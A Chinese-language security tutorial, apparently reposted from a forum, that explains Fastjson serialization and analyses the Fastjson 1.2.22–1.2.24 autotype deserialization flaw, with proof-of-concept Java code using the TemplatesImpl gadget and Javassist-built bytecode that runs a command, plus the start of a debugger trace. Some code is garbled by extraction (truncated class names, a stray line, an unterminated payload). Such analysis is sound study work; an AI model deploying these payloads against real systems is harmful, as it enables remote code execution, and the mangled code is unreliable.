Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析
⾸发:先知论坛
0x00 前⾔
在前⾯的RMI和JNDI注⼊学习⾥⾯为本次的Fastjson打了⼀个⽐较好的基础。利于后⾯的漏洞分析。
0x01 Fastjson使⽤
在分析漏洞前,还需要学习⼀些Fastjson库的简单使⽤。
Fastjson概述
FastJson是啊⾥巴巴的的开源库,⽤于对JSON格式的数据进⾏解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成⼀个类。或者是将⼀个类转换成⼀段json数据。在我前⾯的学习系列⽂章中其实有⽤到jackson。其作⽤和Fastjson差不多,都是处理json数据。可参考该篇⽂章:。其实在jackson⾥⾯也是存在反序列化漏洞的,这个后⾯去分析,这⾥不做赘述。
Fastjson使⽤
使⽤⽅式:
//序列化
String text = JSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON⽂本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON⽂本解析成VO.class类
Fastjson序列化
代码实例:
定义⼀个实体类
package com.fastjson.demo;
public class User {
private String name;
private int age;
public User() {
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
定义⼀个test类:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSONString(user);
System.out.println(s);
}
}
运⾏后结果为:
{"age":18,"name":"xiaoming"}
这是⼀段标准模式下的序列化成JSON的代码,下⾯来看另⼀段。
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
//        String s = JSONString(user);
//        System.out.println(s);
String s1 = JSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
}
}
执⾏结果:
{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}
在和前⾯代码做对⽐后,可以发现其实就是在调⽤toJSONString⽅法的时候,参数⾥⾯多了⼀个SerializerFeature.WriteClassName⽅法。传⼊SerializerFeature.WriteClassName可以使得Fastjson⽀持⾃省,开启⾃省后序列化成JSON的数据就会多⼀个@type,这个是代表对象类型的JSON⽂本。FastJson的漏洞就是他的这⼀个功能去产⽣的,在对该JSON数据进⾏反序列化的时候,会去调⽤指定类中对于的get/set/is⽅法,后⾯会详细分析。
Fastjson反序列化
代码实例:
⽅式⼀:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s = JSONString(user);
//        System.out.println(s);
User user1 = JSON.parseObject(s, User.class);
System.out.println(user1);
}
}
⽅式⼆:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parseObject(s1);
System.out.println(jsonObject);
}
}
这种⽅式返回的是⼀个JSONObject的对象
⽅式三:
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class test {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("xiaoming");
spring framework rce漏洞复现
String s1 = JSONString(user, SerializerFeature.WriteClassName);
User user1 = JSON.parseObject(s1,User.class);
System.out.println(user1);
}
}
执⾏结果都是⼀样的
User{name='xiaoming', age=18}
这三段代码中,可以发现⽤了JSON.parseObject和 JSON.parse这两个⽅法,JSON.parseObject⽅法中没指定对象,返回的则是JSONObject的对象。JSON.parseObject和 JSON.parse这两个⽅法差不
多,JSON.parseObject的底层调⽤的还是JSON.parse⽅法,只是在JSON.parse的基础上做了⼀个封装。
在序列化时,FastJson会调⽤成员对应的get⽅法,被private修饰且没有get⽅法的成员不会被序列化,
⽽反序列化的时候在,会调⽤了指定类的全部的setter,publibc修饰的成员全部赋值。可以在实体类的get、set⽅法中加⼊打印内容,可⾃⾏测试⼀下。
0x02 Fastjson反序列化漏洞复现
漏洞是利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。攻击者通过这种⽅
式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤的影响。
漏洞攻击⽅式
在Fastjson这个反序列化漏洞中是使⽤TemplatesImpl和JdbcRowSetImpl构造恶意代码实现命令执⾏,TemplatesImpl这个类,想必前⾯调试过这么多链后,对该类也是⽐较熟悉。他的内部使⽤的是类
加载器,去进⾏new⼀个对象,这时候定义的恶意代码在静态代码块中,就会被执⾏。再来说说后者JdbcRowSetImpl是需要利⽤到前⾯学习的JNDI注⼊来实现攻击的。
漏洞复现
漏洞版本:fastjson 1.22-1.24
利⽤链:TemplatesImpl
这⾥做⼀个简单的demo
构造恶意类:
package nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class fj_poc {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"apache.xalan.ax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEA        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
执⾏成功,_bytecodes对应的数据⾥⾯可以看到是Base64编码的数据,这数据其实是下⾯这段代码,编译后进⾏base64加密后的数据。
import apache.xalan.internal.xsltc.DOM;
import apache.xalan.internal.xsltc.TransletException;
import apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import l.internal.dtm.DTMAxisIterator;
import l.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, l.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
但是在使⽤运⽤中个⼈觉得更倾向于这个poc
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apachemons.util.Base64;
public class gadget {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = Default();
CtClass cc = (Name());
String cmd = "java.Runtime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "nice0e3"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(((Name())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = deBase64String(evilCode);
final String NASTY_CLASS = "apache.xalan.ax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
使⽤Javassist动态⽣成恶意类放到_bytecodes中。这⾥发现⼏个问题,
如果是只对_bytecodes插⼊恶意代码为什么需要构造这么多的值。
_bytecodes中的值为什么需要进⾏Base64加密。
在反序列化的时候为什么要加⼊Feature.SupportNonPublicField参数值。
@type :⽤于存放反序列化时的⽬标类型,这⾥指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调⽤了getOutputProperties⽅法,实例化了传⼊的bytecodes类,导致命令执⾏。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加⼊Feature.SupportNonPublicField 在parseObject中才能触发;
_bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使⽤Base64编码
_name:调⽤getTransletInstance 时会判断其是否为null,为null直接return,不会往下进⾏执⾏,利⽤链就断了,可参考cc2和cc4链。
_tfactory:defineTransletClasses 中会调⽤其getExternalExtensionsMap ⽅法,为null会出现异常,但在前⾯分析jdk7u21链的时候,部分jdk并未发现该⽅法。
outputProperties:漏洞利⽤时的关键参数,由于Fastjson反序列化过程中会调⽤其getOutputProperties ⽅法,导致bytecodes字节码成功实例化,造成命令执⾏。
前⾯说到的之所以加⼊Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作⽤是⽀持反序列化使⽤⾮public修饰符保护的属性,在Fastjson中序列化private属性。
来查看⼀下TemplatesImpl。
这⾥可以看到这⼏个成员变量都是private进⾏修饰的。不使⽤Feature.SupportNonPublicField参数则⽆法反序列化成功,⽆法进⾏利⽤。
由此可见Fastjson中使⽤TemplatesImpl链的条件⽐较苛刻,因为在Fastjson中需要加⼊Feature.SupportNonPublicField,⽽这种⽅式并不多见。0x03 Fastjson TemplatesImpl链反序列化漏洞分析
下断点开始跟踪漏洞
public static <T> T parseObject(String input, Type clazz, ParserConfig config, features) {
return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
}
这⾥有⼏个参数传⼊,并直接调⽤了parseObject的重载⽅法。
⼏个参数分别是input、clazz、config、features。
input传递进来的是需要反序列化的数据,这⾥即是我们的payload数据。
clazz为指定的对象,这⾥是Object.class对象
config则是ParserConfig的实例对象
features参数为反序列化反序列化private属性所⽤到的⼀个参数。
实例化了⼀个DefaultJSONParser,并调⽤parseObject⽅法,跟踪parseObject。
调⽤derializer.deserialze⽅法进⾏跟踪。
来看到这⼀段代码,这⾥是个三⽬运算,type是否为Class对象并且type不等于 Object.class,type不等于
Serializable.class条件为true调⽤parser.parseObject,条件为flase调⽤parser.parse。很显然这⾥会调⽤parser.parse⽅法。继续跟踪。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。